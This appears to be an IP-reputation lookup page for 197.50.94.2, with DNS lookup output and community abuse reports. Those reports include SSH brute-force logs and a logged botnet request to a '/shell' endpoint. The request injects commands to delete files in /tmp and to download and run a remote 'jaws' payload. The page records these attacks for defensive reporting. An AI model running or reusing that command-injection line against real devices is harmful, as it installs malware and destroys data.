197.50.94.2 - IPInfo

Basic Info

City: unknown

Region: unknown

Country: Egypt

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
197.50.94.12	attackbotsspam	[05/Feb/2020:06:55:20 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:24 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:26 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:30 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world"	2020-02-07 03:14:03
197.50.94.12	attackspam	Unauthorized connection attempt detected from IP address 197.50.94.12 to port 23 [J]	2020-01-31 01:19:03
197.50.94.12	attack	Unauthorized connection attempt detected from IP address 197.50.94.12 to port 23 [J]	2020-01-25 18:55:25

Type

Details

Datetime

197.50.94.12

attackbotsspam

[05/Feb/2020:06:55:20 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world"
[05/Feb/2020:06:55:24 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world"
[05/Feb/2020:06:55:26 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world"
[05/Feb/2020:06:55:30 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world"

2020-02-07 03:14:03

197.50.94.12

attackspam

Unauthorized connection attempt detected from IP address 197.50.94.12 to port 23 [J]

2020-01-31 01:19:03

197.50.94.12

attack

Unauthorized connection attempt detected from IP address 197.50.94.12 to port 23 [J]

2020-01-25 18:55:25

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 197.50.94.2
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 44640
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;197.50.94.2.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2024120801 1800 900 604800 86400

;; Query time: 15 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Dec 09 09:19:17 CST 2024
;; MSG SIZE  rcvd: 104

Host info

2.94.50.197.in-addr.arpa domain name pointer host-197.50.94.2.tedata.net.

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
2.94.50.197.in-addr.arpa	name = host-197.50.94.2.tedata.net.

Authoritative answers can be found from:

Related IP info:

Related comments:

IP	Type	Details	Datetime
68.66.192.30	attackspam	Jul 14 08:49:32 pixelmemory postfix/cleanup[2271473]: 672EF4011E: reject: header Reply-To: from server.peesigma.com[68.66.192.30]; from= to= proto=ESMTP helo=: 5.7.1 Can not Reply-To world's largest spam host	2020-07-15 08:07:46
190.205.16.2	attack	(sshd) Failed SSH login from 190.205.16.2 (VE/Venezuela/190-205-16-2.dyn.dsl.cantv.net): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Jul 14 20:38:55 amsweb01 sshd[14311]: Invalid user configure from 190.205.16.2 port 38624 Jul 14 20:38:57 amsweb01 sshd[14311]: Failed password for invalid user configure from 190.205.16.2 port 38624 ssh2 Jul 14 20:41:44 amsweb01 sshd[14785]: Invalid user nmt from 190.205.16.2 port 48034 Jul 14 20:41:46 amsweb01 sshd[14785]: Failed password for invalid user nmt from 190.205.16.2 port 48034 ssh2 Jul 14 20:44:30 amsweb01 sshd[15355]: Invalid user sam from 190.205.16.2 port 57443	2020-07-15 07:33:09
217.182.205.37	attackspambots	Invalid user helpdesk from 217.182.205.37 port 54390	2020-07-15 07:46:09
122.201.19.99	attackspam	SSH break in attempt ...	2020-07-15 08:05:56
60.167.177.96	attack	Invalid user remote from 60.167.177.96 port 43404	2020-07-15 07:57:19
222.186.31.166	attackspam	Jul 15 01:34:38 vps sshd[357559]: Failed password for root from 222.186.31.166 port 21985 ssh2 Jul 15 01:34:40 vps sshd[357559]: Failed password for root from 222.186.31.166 port 21985 ssh2 Jul 15 01:34:41 vps sshd[358083]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.31.166 user=root Jul 15 01:34:43 vps sshd[358083]: Failed password for root from 222.186.31.166 port 27924 ssh2 Jul 15 01:34:46 vps sshd[358083]: Failed password for root from 222.186.31.166 port 27924 ssh2 ...	2020-07-15 07:41:05
67.205.137.32	attackbots	SSH Login Bruteforce	2020-07-15 07:42:36
106.75.231.107	attackspam	Invalid user host from 106.75.231.107 port 50932	2020-07-15 07:48:01
94.25.163.170	attack	1594751082 - 07/14/2020 20:24:42 Host: 94.25.163.170/94.25.163.170 Port: 445 TCP Blocked	2020-07-15 08:01:47
41.208.68.4	attackspambots	Jul 14 09:26:03 web1 sshd\[22147\]: Invalid user xq from 41.208.68.4 Jul 14 09:26:03 web1 sshd\[22147\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.208.68.4 Jul 14 09:26:04 web1 sshd\[22147\]: Failed password for invalid user xq from 41.208.68.4 port 41119 ssh2 Jul 14 09:29:23 web1 sshd\[22427\]: Invalid user photos from 41.208.68.4 Jul 14 09:29:23 web1 sshd\[22427\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.208.68.4	2020-07-15 07:58:10
189.108.76.190	attackbots	Jul 15 01:16:18 vpn01 sshd[962]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.108.76.190 Jul 15 01:16:20 vpn01 sshd[962]: Failed password for invalid user fraga from 189.108.76.190 port 42600 ssh2 ...	2020-07-15 07:41:46
192.42.116.17	attackbots	Ein möglicherweise gefährlicher Request.Form-Wert wurde vom Client (="	2020-07-15 08:03:46
180.246.146.78	attackbots	Honeypot attack, port: 445, PTR: PTR record not found	2020-07-15 07:50:01
123.136.29.99	attackbots	Honeypot attack, port: 445, PTR: host-99-29-136-123.pacenet.net.	2020-07-15 07:45:17
142.4.16.20	attack	$f2bV_matches	2020-07-15 07:34:46

Recently Reported IPs

19.18.255.82	4.178.39.204	254.27.93.215	41.165.177.189
72.150.97.133	80.248.132.83	251.252.196.174	37.17.168.202
177.189.22.92	12.118.196.179	162.132.77.116	50.63.76.205
217.232.251.113	96.147.24.180	26.216.58.7	82.112.27.207
190.62.247.193	182.215.45.199	51.117.57.166	177.191.125.36